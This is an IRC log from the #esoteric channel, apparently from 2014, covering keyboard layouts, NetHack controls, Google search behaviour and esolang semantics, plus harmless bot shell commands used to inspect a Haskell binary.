14:35:39 <Sgeo> I kind of forgot I did it. And my dad's response when I asked yesterday was not reassuring
14:36:16 <elliott> why is being eligible for conscription reassuring
14:36:51 <Sgeo> Eligable for an unlikely conscription that I'm required by law to register for
14:37:12 <elliott> stay in school and don't do drugs
14:39:38 <Sgeo> I think I do tend to be a rules follower, with some exceptions
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14:47:37 <elliott> people who think following the law is moral scary
14:52:43 <Sgeo> BACKWARD MESSAGE BACKWARD MESSAGE BACKWARD MESSAGE
14:53:18 <TieSoul> There should be an esolang called BACKWARD MESSAGE BACKWARD MESSAGE BACKWARD MESSAGE now
14:53:19 <Sgeo> Hey there's actually a relevent hit when I google that
14:54:18 <Sgeo> Ugh in 5 min need to take really bad tasting medicine
15:00:05 <b_jonas> fungot, do you have permission for that?
15:00:05 <fungot> b_jonas: you don't mind kicking the original oklopol off and speak swedish too. that's what i'm trying to figure out how
15:00:29 <b_jonas> but fungot, next time, ask for permission in advance
15:00:29 <fungot> b_jonas: prolog or another logic language, obviously you'll need to write a program that can traverse the network and files and parsers. this is an infinite loop, it's obvious
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15:33:38 <fizzie> Egassem Drawkcab is probably someone's name.
15:48:40 <int-e> I love google. 1st page "About 1,360 results", second page "Page 2 of about 1,360 results", 3rd page "Page 3 of about 1,360 results", 4th page "Page 4 of 39 results"
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16:01:14 <elliott> int-e: I wonder how they actually estimate those result counts.
16:01:38 <elliott> like, presumably they're not entirely random, but also presumably they devote sufficiently little of their tiny time budget to it that they must be doing something incredibly rough.
16:01:50 <elliott> and they seem to consistently overestimate, which I guess is the right thing to do if you want to look impressive.
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16:12:44 <int-e> elliott: Well, first they compute the counts before the elimination of duplicates ("similar results"); with those included, for the same query, I get "Page 46 of 456 results" on the last page, and a factor of 3 is far more reasonable than a factor of 40.
16:13:39 <elliott> int-e: wow, I didn't know they counted so many things as duplicates
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17:26:55 <fizzie> https://dl.dropboxusercontent.com/u/113389132/Misc/20140818-calc.jpg we had a calculator almost exactly like this at my (late) grandmother's.
17:27:27 <fizzie> (That one's from a shop window in Rauma.)
17:28:22 <fizzie> Somehow a crank generally makes things better.
17:32:03 <fizzie> You can shift the lower portion to do decimal positional multiplication, at the cost of (at most) 9*K crankings, where K is the length of the shorter multiplicand.
17:32:56 <fizzie> (And IIRC the bottom-left part counts the number of crankings so that you don't lose track.)
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18:02:39 <b_jonas> fizzie: yes, I tried one of those calculators once. they're really nice.
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20:02:26 <Sgeo> Why does statically typed Python excite me but statically typed Racket scare me? I may be insane
20:03:09 <Bike> have you ever spent a few hours methodically writing insults on paper, and then ripping them up and arranging them into statuettes
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20:05:13 <ais523> @tell nooodl I didn't think that $__ was legal in Perl, you'd have to write it ${'__'}
20:05:33 <ais523> !perl $__ = 4; print "$__\n"
20:05:45 <ais523> @tell nooodl well according to EgoBot, I'm wrong
20:06:10 <mauris> ais523: yeah i didn't actually know for sure but apparently it's legal!
20:06:24 <ais523> I guess it's because _ isn't technically a punctuation mark
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20:11:36 <Taneb> ais523, Perl scares me :/
20:11:47 <Taneb> Yet APL intrigues me
20:11:51 <Taneb> What's up with that
20:16:16 <fizzie> There was a machine in a museum.
20:16:28 <fizzie> You wrote stuff on pieces of paper, and then fed it to the machine.
20:16:40 <fizzie> Then it did an overly elaborate shredder act.
20:17:09 <fizzie> I think the idea was that you wrote negative things on the paper, and hence got rid of them.
20:18:32 <Taneb> myname, I kind of want the crazy character set
20:19:37 <Taneb> Anyone know where I can buy an APL or blank keyboard?
20:20:04 <olsner> APL is beautifully incomprehensible, Perl is uglily incomprehensible
20:22:49 <b_jonas> Taneb: I never understood what the fuss about blank keyboards was. I don't look at the keyboard, so why would it be a problem if it has irrelevant keycaps written on it?
20:23:20 <Taneb> b_jonas, learning more than anything
20:23:23 <Taneb> Also I am forgetful
20:24:36 <b_jonas> Taneb: could you use some sort of opaque silk scarf veil covering the whole keyboard and you slide your hands under it?
20:24:43 <b_jonas> I admit I've never tried that, it might not work
20:25:33 <olsner> I think proper touch typing courses have some sort of screen that goes over the keyboard
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20:26:12 <b_jonas> olsner: right, that's what I said, but I'm not sure how realistically possible that is
20:26:31 <b_jonas> like, without making typing or seeing the screen too inconvenient
20:27:04 <b_jonas> let me tell you an anecdote
20:27:37 <Taneb> b_jonas, the issue is that I don't know the keyboard layout, so either I do a touch-typing thing before I even begin to learn the language, or I look at the keyboard
20:27:47 <b_jonas> at one point I almost bought a used mobile phone with russian letters on the keypad. my father didn't understand why I'd use such a thing. I didn't understand why not: it's not like I look at the letters when typing on the keypad anyway.
20:28:00 <b_jonas> I'm not using that phone, but that's for reasons other than the keypad.
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20:28:23 <b_jonas> Taneb: use a chart either on a paper on the wall, or on screen
20:28:31 <Taneb> That is a possibility
20:28:35 <b_jonas> either of those are easier to change than the keycaps anyway
20:28:46 <b_jonas> (the keycaps aren't impossible to change either, just much harder)
20:28:58 <b_jonas> I've used a paper chart once when learning dvorak
20:29:05 <b_jonas> (I don't use dvorak. it turns out it's a bad layout.)
20:30:13 <b_jonas> Taneb: an on-screen or paper legend can also show more modal or shifted meanings for the keys than would fit on the keyboard itself,
20:30:26 <fungot> https://github.com/fis/fungot/blob/master/fungot.b98
20:30:34 <b_jonas> and you can see a paper or on-screen chart without having to move your hands off the normal position on the keyboard
20:30:51 <b_jonas> which can be useful if you want to learn proper touch-typing
20:31:14 <b_jonas> it means you can move your hands the way you should touch-type, only possibly slowe
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20:32:39 <b_jonas> I personally think the blank keyboards are just a show-off, the blank labels are for people other than the one typing on the keyboard
20:34:45 <b_jonas> now of course keycaps can be important on public terminals that untrained people want to use, but those terminals rarely have good keyboards because good keyboards are easy to vandalize. they have touchscreen or sturdy metal buttons
20:34:49 <ais523> just use a blank keyboard and never write on the keys
20:35:05 <ais523> I have a set of blank dice which I occasionally roll for amusement value in situations where a genuine dice roll is needed
20:35:19 <b_jonas> ais523: Taneb started by asking where to buy blank keyboards
20:35:52 <ais523> actually a blank keyboard would probably work better than my current work keyboard
20:35:59 <ais523> which is set to UK layout but has AZERTY key caps
20:36:17 <b_jonas> ais523: I'm asking again, why do the keycaps matter?
20:36:34 <int-e> ais523: does that work better than a UK layout one set to US layout?
20:36:35 <b_jonas> I know why the layout matters, eg. 101 keys vs 102 keys, crazy arrow keys, etc
20:36:47 <ais523> b_jonas: because it seems I subconciously look at the difference between punctuation and letters to position my hands
20:36:56 <ais523> so I keep hitting m when I mean , etc.
20:37:10 <ais523> int-e: yes, on the UK set to US layout I have a huge pain finding the punctuation
20:37:17 <int-e> (Oh I just realized that I no longer have this problem, I bought a new keyboard two months ago)
20:37:22 <olsner> you should use the knobs on f and j to orient your hands
20:37:28 <ais523> olsner: I move my hands too much
20:37:31 <b_jonas> ais523: yes, that sometimes happens to me and confuses me for round parenthesis specifically, but I should just try not to look.
20:37:36 <int-e> (so now it's US/US)
20:37:37 <olsner> I like to drum on them when idling
20:37:55 <ais523> also, often my right hand's on hjkl
20:38:02 <ais523> e.g. NetHack, although vi invented it
20:38:08 <b_jonas> really? I never put my hands on hjkl
20:38:19 <b_jonas> I just put my hands on jkl; and type hjkl in nethack that way
20:38:21 <fizzie> Taneb: Just buy the Optimus. (Are they still even selling that?)
20:38:25 <int-e> asdw is so much nicer :P
20:38:33 <ais523> b_jonas: wow, you're missing half the adnnatage of vikeys there
20:38:34 <olsner> vi inherited that from some more ancient place
20:38:57 <b_jonas> ais523: why? because yb are harder to type this way?
20:39:02 <int-e> b_jonas: the only reason why I can even use vim for small edits is that it understands cursor keys.
20:39:10 <mauris> ais523: wow which azerty
20:39:20 <ais523> b_jonas: also you have h and j on the same finger, that slows you down
20:39:25 <ais523> mauris: I assume French
20:39:38 <b_jonas> ais523: I don't think that matters
20:39:41 <ais523> not sure, though, I'm not an expert on azerty
20:39:46 <fizzie> CERN keyboards were azerty.
20:39:51 <fizzie> Meant a lot of misplaced q's.
20:40:09 <olsner> I thought azerty was german, but maybe the french have it too
20:40:30 <int-e> german is qwertziopü
20:40:43 <ais523> I know that one because "add a way to swap y and z" is one of the most common FRs to NetHack from German players
20:41:50 <int-e> the biggest problem that I had when switching from german to US layout was that I kept minimizing my emacs window when copying stuff
20:41:58 <int-e> because C-y became C-z.
20:42:02 <fizzie> Switzerland has different keyboards at the different language areas, I presume.
20:42:23 <mauris> my keyboard has an unshifted µ key that's how you know it's good
20:42:34 <ais523> int-e: I sometimes set C-z on the "show a confirm before using this" setting
20:42:37 <ais523> it's so annoying to typo
20:42:38 <b_jonas> btw, two people typing on the same keyboard can be confusing: I do that a little at work such that I use either english or hungarian qwerty, whereas other people use hungarian qwertz, so the yz swaps are crazy
20:42:52 <ais523> I just downloaded a Firefox extension so that I could unbind C-q in Firefox, for similar reasons
20:42:59 <fizzie> My keyboard has an unshifted § key, that's p. useful too.
20:43:02 <mauris> int-e: numbers are shifted though!!
20:43:05 <fizzie> E.g., if you write a lot of laws.
20:43:23 <int-e> mauris: I have 1234567890 reasons against that
20:43:27 <olsner> where's q on azerty? next to s?
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20:45:05 <b_jonas> I still wonder if I should try another keyboard layout
20:45:17 <b_jonas> haven't dared yet after the failure with dvorak
20:45:43 <mauris> b_jonas: failure how so
20:46:15 <b_jonas> mauris: I learnt it a bit, but it turns out dvorak is stupid, it doesn't combine with Hungarian text well:
20:46:52 <b_jonas> dvorak is based on the principle that the vowels are under your left hand and the consonants are on the right, but Hungarian has two extra vowels that are very common and seven more that are less common
20:47:04 <b_jonas> so dvorak only works for Englih
20:47:23 <b_jonas> the other part is that Hungarian has "k" common and "h" rare, the opposite of English
20:47:35 <ais523> b_jonas: do Hungarian keyboards have different keys for each vowel? or do you use modifiers for the accents?
20:48:13 <b_jonas> ais523: Hungarian has the nine vowels on where English has punctuation marks:
20:48:26 <b_jonas> the two most common vowels are on ; and '
20:48:43 <ais523> that explains why you're less willing to move your home position to the left, at least
20:48:52 <fizzie> That's where the Finnish/Swedish keyboard layout puts öä.
20:48:55 <ais523> is there one in the position where # is on a UK keyboard?
20:48:59 <b_jonas> what? do you do that for typing English too? not just for vi or nethack?
20:49:07 <b_jonas> I mean, I don't type Hungarian in nethack
20:49:29 <b_jonas> fizzie: right, and German is something similar too
20:49:30 <olsner> hm, I read that as ; and ' being vowels in hungarian
20:49:39 <ais523> b_jonas: I move my hands dynamically as I type
20:49:47 <fizzie> We don't have any extra vowels in the number row, though.
20:49:51 <ais523> e.g. in the above sentence, I typed the "y" of "dynamically" with my left hadn
20:49:58 <b_jonas> ais523: sure, if you type lots of numbers you put yoru hands on the number row
20:50:00 <ais523> because my right hand is further right typing the "l" just before it
20:50:20 <ais523> basically my fingers memorize a word at a time and I use the most appropriate hand movements for that word
20:50:33 <ais523> (I'm pretty sure that's what's happening, because sometimes I type a homophone rather than the word I want)
20:50:38 <olsner> fungot: where are your vowels?
20:50:39 <fungot> olsner: so i'd best name my vm primitive fnord, which is like boolf with trinary numbers instead, and most probably unrelated to the interface to dumping fasls may be somewhat more intuitive to me but
20:50:46 <b_jonas> ais523: well, y and b and 6 are a corner case, they're hard to reach with either hand so I can sometimes type with the wrong hand,
20:50:54 <b_jonas> but that doesn't mean I move the base position of my hands
20:52:26 <b_jonas> I move the base position when I type lots of numbers, or when I press the cursor keys or similar a lot, or for some non-nethack games
20:53:08 <b_jonas> or when I type with one hand, or holding something in my hand
20:53:54 <b_jonas> I can sort of understand changing hand base position for a game like nethack, but I don't think it's useful for nethack's current layout
20:54:40 <b_jonas> if it was, that probably meant the diagonal directions are just bound to the wrong keys, and yb should have functions you press less often in rapid sessions
20:55:08 <ais523> b_jonas: you have one orthogonal on each finger
20:55:13 <ais523> you can't get any less hand movement than that
20:55:43 <b_jonas> ais523: but it's not the h but the yb that requires difficult hand movements
20:55:54 <b_jonas> h is not harder to press then uio is
20:56:02 <ais523> b_jonas: I'm not talking about difficult
20:56:05 <ais523> I'm talking about easy
20:56:10 <ais523> hjkl are all very trivial to press
20:56:11 <ais523> there is /no/ movement
20:56:15 <ais523> as opposed to, if your hand is on jkl;
20:56:18 <b_jonas> but you do move diagonally too
20:56:18 <ais523> then you have to move for the h
20:56:24 <ais523> it's easy, but it's still some amount of movement
20:56:28 <ais523> and most moves are orthogonal
20:56:47 <b_jonas> I thought like almost half moves are diagonal
20:57:09 <b_jonas> if you press hjkl much more than yubn, that probably means you don't use g or 9 enough for corridors
20:58:06 <b_jonas> well, maybe there are more orthogonal moves in sokoban
20:58:15 <b_jonas> but there's a bug ticket for that
21:00:16 <ais523> b_jonas: I use shift-direction for corridors
21:00:39 <b_jonas> ais523: then why are you getting most moves orthogonal?
21:00:59 <ais523> b_jonas: because most rooms aren't square and don't have doors on opposite corners
21:02:07 <b_jonas> wait, I think I understand
21:02:52 <b_jonas> as I play much more slowly, most of my move keystrokes are local moves for combat or item manipulation or similar; far travel takes few keystrokes relatively.
21:03:05 <b_jonas> whereas you play fast, so most of your moves are for discovery or traversing the dungeon the first time
21:03:11 <b_jonas> that could make a difference, and could explain this
21:03:39 <ais523> yes, I play quite fast
21:03:44 <b_jonas> probably I use more orthogonal move for first discovery of a dungeon too
21:04:44 <b_jonas> and of course lots of the directional keystrokes are for targetting stuff, such as for farlook or travel,
21:04:53 <b_jonas> and diagonals come handy for that, especially shift-diagonals
21:05:54 <ais523> well, whether you have more orthogonals or diagonals on targeting depends on whether the difference between the x and y coordinates is more than a factor of 2 or not
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21:07:04 <b_jonas> ais523: yes, but also a lot of far targetting is just _<; or _>; so the directional key targetting goes nearer
21:07:04 <ais523> b_jonas: try ttyrec2ing your play some time
21:07:09 <ais523> and see whether you use orthogonal or diagonal more
21:07:25 <b_jonas> but I don't think I'll check
21:07:30 <b_jonas> I can send them to you if you want
21:08:10 <b_jonas> I have ttyrecs of almost all of that wizard game on nh4.2 that's sort of on a hiatus now
21:08:20 <b_jonas> should ascend it eventually
21:08:32 <ais523> b_jonas: no, I mean ttyrec2
21:08:36 <ais523> it records input as well as output
21:08:49 <ais523> I guess you could just look through the logfiles for diagonal movement commands, though
21:09:43 <ais523> there's a key combo you can use around your password to tell it not to
21:12:17 <b_jonas> the logfile doesn't record location prompts though, and I don't know how easy it is to find out about repeated or travel movement from it
21:15:17 <ais523> it does record location prompts
21:15:31 <b_jonas> sure, but not the keystrokes I pressed for them
21:15:34 <ais523> but you'd need to parse the save file backups to work out where the player was before the prompt
21:15:37 <b_jonas> so it can't tell how I moved the cursor
21:15:49 <b_jonas> I might not press the optimal keypresses for a location prompt
21:15:53 <b_jonas> and there's lot of farlook too
21:16:10 <ais523> farlook isn't recorded
21:16:12 <b_jonas> and I might be using shortcuts like _<
21:16:15 <ais523> but you can do that with the mouse nowadays
21:16:25 <b_jonas> what? I don't mouse for nethack
21:16:32 <b_jonas> you can at least be sure of that
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21:22:03 <ais523> I got used to mouse for farlook from Brogue, where the keyboard farlook controls are awful
21:22:38 <b_jonas> ais523: ok, and of course the location prompt controls could be improved too (I think I have a bug report), but they're not bad
21:23:17 <b_jonas> we're so on the wrong channel by the way
21:23:48 <b_jonas> but when #esoteric talks about nethack and #nethack talks about python lambdas, somethign is strange
21:24:25 <ais523> #esoteric is talking about keyboards :-)
21:25:47 <oerjan> <elliott> int-e: I wonder how they actually estimate those result counts. <-- my guess is they have the number of instances of each word, and calculate the probability for several words as if they were independent.
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21:26:25 <oerjan> perhaps with some exceptions for words that are commonly together
21:27:11 <elliott> I'm not convinced a query on google is either a straight AND or OR query these days, even with lots of fudging.
21:30:18 <oerjan> sometimes it's damn hard to get google to show relevant hits for what you want
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21:31:43 <J_Arcane> I was trying to find help for nero-mode in emacs last night and was utterly incapable of getting google to spit out anything useful.
21:31:56 <oerjan> when without quotes is too fudged and with quotes is too strict
21:32:27 <b_jonas> but yes, it can be difficult
21:32:42 <oerjan> wait, do pluses do something still?
21:32:56 <oerjan> i thought they were completely abandoned as different from quotes
21:33:22 <elliott> with quotes is never too strict these days
21:33:26 <elliott> sometimes I'm not sure quotes do anything
21:33:33 <elliott> and yeah plusses were removed
21:33:34 <b_jonas> oerjan: I think pluses can make the query more like a straight AND query
21:33:41 <b_jonas> mroe like, not exactly the same
21:34:12 <int-e> quotes still do something
21:34:24 <elliott> b_jonas: e.g. http://www.wired.com/2011/10/google-kills-its-other-plus-and-how-to-bring-it-back/
21:34:24 <int-e> but indeed they used to be more strict
21:34:28 <oerjan> sure, quotes are certainly different
21:34:39 <elliott> http://searchengineland.com/google-sunsets-search-operator-98189
21:34:55 <elliott> int-e: yeah, they do something, but it sure as hell isn't anything close to "exactly match this string" :)
21:35:20 <oerjan> i sometimes add a quote to just a single word when google insists on showing lots of hits that leave it out.
21:35:44 <oerjan> i think it also helps with words that are not actually on the page. sometimes.
21:36:48 <oerjan> basically afaik google doesn't really have a search _language_, just searching hints...
21:37:34 <b_jonas> it sometimes searches for variations of a word, or for words not appearing on a page but in other pages linking to that page, both of which can be sometimes useful, sometimes wrong
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21:41:03 <elliott> sometimes I get sick of google but then I try duckduckgo and I remember how kinda nice it is to have all your searches optimised based on your history and a strong AI behind every query.
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21:42:48 <zzo38> I find that using those history/strong AI often get in the way though (although, it can sometimes help)
21:43:55 <elliott> my experience was duckduckgo was fine for everything except computery/programming stuff (ironic considering how google's inability to search for symbols is an obstacle there too)
21:44:06 <elliott> for that it just gave mostly useless results and I think the targetting helps google a lot there.
21:45:25 <zzo38> If I want relevant stuff, looking on Wikipedia tends to help better, however it doesn't have as many things as Google. (This is why there is less irrelevant stuff involved)
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22:36:52 <HackEgo> [wiki] [[User:Taneb]] http://esolangs.org/w/index.php?diff=40305&oldid=38146 * Taneb * (+116) Added another quote
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02:51:37 <S1> What will the Brainfuck survey be used for?
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02:53:32 <shachaf> mroman is master of all he surveys.
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03:32:34 <zzo38> I was trying to think a bit more about a programming language meant for writing the effects of cards in Magic: the Gathering, and perhaps also such game as Pokemon card, Yu-gi-oh, The Aberration Hater Card Game, etc
03:33:11 <shachaf> What about Sandwich - The Card Game?
03:33:12 <zzo38> At first I thought something like Lisp, but maybe something resembling Haskell data structures (alrebraic and GADTs) might help a bit.
03:33:54 <zzo38> shachaf: I don't know. Card game such as hearts and Napoleon clearly does not need them
03:34:29 <shachaf> I would especially like to play Professional Octopus of the World.
03:40:14 <zzo38> Don't you want to play the game involving you have to prevent all of the magnets from touching each other?
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04:17:32 <quintopia> it sounds like Operation For Many Hands
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06:09:48 <HackEgo> /hackenv/bin/log: 2: cd: can't cd to /var/irclogs/_esoteric \ grep: ????-??-??.txt: No such file or directory
06:09:54 <Sgeo> `greplog chess 2
06:09:55 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: greplog: not found
06:10:00 <HackEgo> ` \ ^.^ \ ̊ \ ? \ ¿ \ @ \ ؟ \ ＷＥＬＣＯＭＥ \ \ \ 8ball \ 8-ball \ aaaaaaaaa \ addquote \ addwep \ allquotes \ analogy \ anonlog \ as86 \ aseen \ bienvenido \ botsnack \ bseen \ buttsnack \ calc \ CaT \ catcat \ cats \ cc \ cdecl \ c++decl \ chroot \ coins \ CoInS \ complain \ complaints \ danddreclist \ define \ delquote \ delv
06:10:30 <Sgeo> `run ls bin | grep log
06:10:31 <HackEgo> analogy \ anonlog \ etymology \ log \ logurl \ pastalog \ pastelog \ pastelogs \ pastlog \ randomanonlog \ searchlog
06:10:40 <Sgeo> `searchlog chess 2
06:10:40 <HackEgo> searchlog: error while loading shared libraries: libgmp.so.3: cannot open shared object file: No such file or directory
06:10:49 <Sgeo> That's not my fault I think.
06:11:05 <Sgeo> `cat bin/searchlog
06:11:05 <HackEgo> âELF............>.....p5@.....@.......Ðg.........@.8..@.(.%.......@.......@.@.....@.@.....À.......À............................@......@............................................@.......@.....L3.....L3....... ............P3.....P3k.....P3k.....8......XW........ ...........3.....3k.....3k.....ð.......ð................
06:15:46 <Bike> (it's an ELF binary)
06:15:53 <Bike> `file bin/searchlog
06:15:54 <HackEgo> bin/searchlog: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, BuildID[sha1]=0x9c503c564def63c21bb1d9a1222d2f6c4b9afd78, not stripped
06:23:26 <Sgeo> Would be great if file could detect what language the binary was written in. e.g. looking for the GHC Haskell runtime
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06:26:39 <zzo38> For some programming languages I expect such a thing would not work so well though
06:27:34 <Bike> do ghc programs link libc
06:27:47 <Sgeo> zzo38: that reminds me, I was originally searching logs because I was wondering what your opinion of Chess 2 is
06:28:52 <zzo38> Well, it is another chess variant. It is not bad
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10:37:53 <oerjan> now the codu website is up, but glogbot isn't logging...
10:41:44 <oerjan> Sgeo_: HackEgo hasn't had access to the channel logs since the server move
10:41:58 <oerjan> @tell Sgeo_ HackEgo hasn't had access to the channel logs since the server move
10:44:30 <oerjan> searchlog hasn't been changed since the repository history was wiped or what they call it
10:49:44 <HackEgo> :-( \ 98076 \ a \ app.sh \ bdsmreclist \ bin \ canary \ cat \ complaints \ :-D \ dog \ etc \ factor \ fb \ fb.c \ head \ hello \ hello.c \ ibin \ index.html \ interps \ lib \ moop.txt \ paste \ pref \ prefs \ quines \ quotes \ share \ src \ test \ Test \ Test.hi \ Test.hs \ unpa \ UNPA \ Wierd \ wisdom \ wisdom.pdf
10:49:49 <HackEgo> brainfuck.fu \ egobot.tar.xz \ emmental.hs \ factor-linux-x86-64-0.95.tar.gz \ fizziecoin.jpg \ fueue.c \ ploki \ ploki-0.6.5.1.tar.bz2 \ ul.emm
10:49:55 <HackEgo> 8ballreplies \ awesome \ cat \ construct_grams.pl \ delvs-master \ esolangs.txt \ esolangs.txt.sorted \ hello \ hello.c \ lua \ maze \ maze.c \ radio.php?out=inline&shuffle=1&limit=1&filter=*MitamineLab* \ units.dat \ WordData
10:51:07 <HackEgo> import Data.List(inits);main = let p = 1 : zipWith (+) (map (*4) p) (map (sum . zipWith (*) p . reverse) (inits p)) in print $ p !! 1000
10:51:24 <HackEgo> rm: cannot remove `Test* test': No such file or directory
10:52:58 <oerjan> <Bike> do ghc programs link libc <-- they link gmp, which was mentioned in the error
10:53:14 <oerjan> @tell Bike <Bike> do ghc programs link libc <-- they link gmp, which was mentioned in the error
10:54:29 <oerjan> `strings bin/searchlog
10:54:31 <HackEgo> /lib64/ld-linux-x86-64.so.2 \ l/-"x \ librt.so.1 \ __gmon_start__ \ _Jv_RegisterClasses \ libutil.so.1 \ libdl.so.2 \ libgmp.so.3 \ __gmpz_tdiv_qr \ __gmpz_and \ __gmpz_tdiv_q \ __gmpz_tdiv_r \ __gmpz_fdiv_qr \ __gmpn_gcd_1 \ __gmpz_ior \ __gmpz_mul_2exp \ __gmp_set_memory_functions \ _fini \ __gmpz_sub \ __gmpz_xor \ __gmpz_com \ __gmpz_gcd \ _
10:55:04 <oerjan> `` strings bin/searchlog | tail
10:55:05 <HackEgo> noexec \ TMPDIR \ /tmp \ /var/tmp \ /dev/shm \ HOME \ /etc/mtab \ /ffiXXXXXX \ {ZX! \ {ZX!
10:55:27 <oerjan> `` strings bin/searchlog | paste
10:55:30 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/file/tip/paste/paste.25326
10:57:54 <oerjan> @tell Bike strings reveals that it is definitely haskell
11:07:21 <shachaf> `` strings bin/searchlog | grep zh
11:07:21 <HackEgo> stg_delayzh \ stg_mkWeakzh \ stg_mkWeakForeignEnvzh \ stg_makeStableNamezh \ stg_finalizzeWeakzh \ stg_atomicallyzh \ stg_getMaskingStatezh \ stg_maskAsyncExceptionszh \ stg_maskUninterruptiblezh \ stg_catchzh \ stg_catchRetryzh \ stg_catchSTMzh \ stg_checkzh \ stg_decodeDoublezu2Intzh \ stg_decodeFloatzuIntzh \ stg_delayzh \ stg_deRefWeakzh \ stg_
11:08:26 <oerjan> shachaf: there are more obvious strings in there, like ghc error messages
11:11:05 <oerjan> also, there's a /hackenv/bin/log just before strings about process-1.1.0.0, so something tells me that program was meant to shell out to `log
11:11:35 <HackEgo> #!/bin/sh \ cd /var/irclogs/_esoteric \ if [ "$1" ]; then \ grep -P -i -- "$1" ????-??-??.txt | shuf -n 1 \ else \ file=$(shuf -en 1 ????-??-??.txt) \ echo "$file:$(shuf -n 1 $file)" \ fi
11:12:15 <oerjan> which makes me wonder what was the original point of wrapping it in haskell. if we could only search the logs...
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11:13:07 <oerjan> hoily. i seem to be making a fool of myself on the french wikipedia, despite not knowing enough french to write commit messages in it...
11:15:02 <boily> hellœrjan. how come? what have you done?
11:15:34 <oerjan> https://fr.wikipedia.org/w/index.php?title=Cl%C3%A9ment_Ader&action=history
11:17:31 <oerjan> looking at the difference between start and finish in both the english and french articles, it seems the original error was a stupid month/date swap
11:17:50 <boily> ah, the joy of dates...
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11:18:01 <oerjan> but it took a while to get that sorted out
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11:42:33 <HackEgo> [wiki] [[Lambda]] M http://esolangs.org/w/index.php?diff=40306&oldid=40303 * Oerjan * (+0) newest working capture
11:54:57 <HackEgo> [wiki] [[AAAAAAAAAAAAAA!!!!]] http://esolangs.org/w/index.php?diff=40307&oldid=40299 * Oerjan * (-42) NAH.
11:56:58 <oerjan> i say NAH to that previous edit.
11:58:45 <shachaf> moldy and yellow, but excellent?
11:59:33 <boily> shachaf: could you expand PERHAPS?
12:00:36 <shachaf> plausibly entertaining ridicule has a peculiar serenity
12:00:44 <shachaf> this is almost certainly not what oerjan meant
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12:20:31 <Taneb> Anyone know where I can get an APL keyboard layout?
12:25:05 <oerjan> will a bananaphone do?
12:31:16 <oerjan> but it's a phone with a peel
12:33:40 <Taneb> True, but even a thousand peels wouldn't help me type weird unicode characters without memorizing a whole bunch of codes
12:47:25 <Melvar> Taneb: Make yourself compose sequences that make sense to you?
12:51:38 <Taneb> Melvar, that's a possibility, hmm
12:53:48 <Melvar> Though composing would be required anyway to produce all the symbols if you used the original keyboard layout.
12:58:24 <Melvar> Apparently a newer keyboard that includes the combinations is https://web.archive.org/web/20120316083521/http://www.users.on.net/~farnik/upload/APL2union.gif
12:58:42 <Melvar> Which you could in theory write a layout file from.
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16:07:57 <ion> Two people dead, five missing at Chess Olympiad in Norway http://www.theguardian.com/sport/2014/aug/15/deaths-world-chess-olympiad-norway
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17:50:13 <int-e> didn't hear about the missing people
17:52:56 <int-e> ah, a whole team going missing, that sounds like fun
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18:02:01 <Sgeo_> My poor, useless eyes! http://hometowns.cyber-net-village.com/Orlando/7302/Rick/sportzone/misc/folders/Jean/
18:02:06 <Sgeo_> (Almost certainly deliberate)
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18:06:37 <int-e> Sgeo_: where's the animated gif? a page cannot be truly horrible without an animated gif. preferrably as the background image.
18:08:14 <int-e> also that yellow on pink is astonishingly readable. imagine a green text color instead.
18:19:17 <Bike> 08:04 < ion> Two people dead, five missing at Chess Olympiad in Norway http://www.theguardian.com/sport/2014/aug/15/deaths-world-chess-olympiad-norway
18:43:17 <int-e> so, doing an unfounded statistical computation, the life expectance of the players at the Chess Olympiad was 35 years. That doesn't seem too bad.
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20:54:07 <zzo38> A programming language for complex card games like I have described a bit before, I have some more ideas of it too. Using a kind of algebraic data types like described before, it can become something like "Lisp with types". Although, these types can then be defined as open or closed types; a "additive open" type can add more constructors later on; a "multiplicative open" type can add more fields but can only have exactly one constructor.
20:56:24 <zzo38> There are also then rules, which can manipulate the data, and macros, and "foreign codes", and the compiler can try to figure out which rules are invoked and use that to compile it into a C code or whatever; it can use a intermediate code so that you can compile into C or a MUD variant of C or Ada/CS or Inform or whatever you are using.
20:57:39 <zzo38> There is no lazy evaluation and function types and so on.
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22:27:59 <fizzie> "mr president, the united kingdom will apply equally to all fishing fleets and not just industrial cooperation: the rapporteur believes that recycling is in conflict with the development of e-commerce."
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22:39:20 <oerjan> <int-e> ah, a whole team going missing, that sounds like fun <-- being from africa, the stereotypical assumption would be that they're trying to immigrate.
22:41:33 * oerjan hasn't read about this in the local paper; currently he finds the news depressing enough that he doesn't read any on the web.
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16:06:17 <HackEgo> [wiki] [[Two]] http://esolangs.org/w/index.php?diff=40308&oldid=39517 * Tailcalled * (+5)
16:07:45 <quintopia> i'm not convinced that Two solves the halting problem
16:16:23 <int-e> quintopia: It does for standard turing-complete languages: Write an interpreter for a universal machine that takes a maximum number of simulation steps as its argument; make it loop forever if the number of steps is exhausted. Use I to guess the necessary number of iterations until the program terminates.
16:16:33 <int-e> Of course it does not solve the Halting problem for itself.
16:17:41 <int-e> also I is not well-defined; consider +>>I[-[>]<<[]>-] (which halts if I produces an even number, and loops forever otherwise)
16:17:54 <int-e> (at least that's my intention, I have not tested the code)
16:19:36 <TieSoul> how would that discern between even and not even?
16:20:14 <int-e> TieSoul: it's basically [--] with a test for zero in the middle.
16:21:03 <TieSoul> It loops basically forever regardless though
16:21:39 <TieSoul> since | represents infinity
16:23:31 <int-e> oh, I guess the specification doesn't really say anything about the values of the cells. I assumed natural numbers, but indeed you can add an infinity.
16:23:49 <int-e> (which is not modified by + nor -)
16:24:47 <int-e> but it's crucial that I does not simply use that value unless all smaller values violate its specification
16:26:08 <int-e> and worse, the infinity itself has to be excluded from its considerations. I[-] is supposed to terminate, but if I sets the cell to infinity, it would run forever.
16:28:14 <int-e> Ok, I also got the halting problem reduction slightly wrong (it reduces the halting problem to another one); instead of looping forever when the number of iterations is exhausted, it should print "No", while upon successful termination, it should print "Yes".
16:30:30 <int-e> Oh, there's an example I[->.<] which clarifies the behaviour of I.
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17:18:47 <zzo38> It does not mention how the halting problem is solved.
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18:14:52 <zzo38> Is it correct that I[->.<] is improper but that I[-.] is OK?
18:16:57 <zzo38> It says that I is an infinite loop if it is improper; does this mean the I instruction itself or the data is made infinite?
18:17:24 <coppro> it doens't say "improper"
18:17:32 <zzo38> I know it doesn't say "improper"
18:17:32 <coppro> there is nothing improper
18:18:27 <zzo38> Surely a program such as ]]I]]]]-[ would be improper, isn't it?
18:18:49 <coppro> peharps. the specification does not say
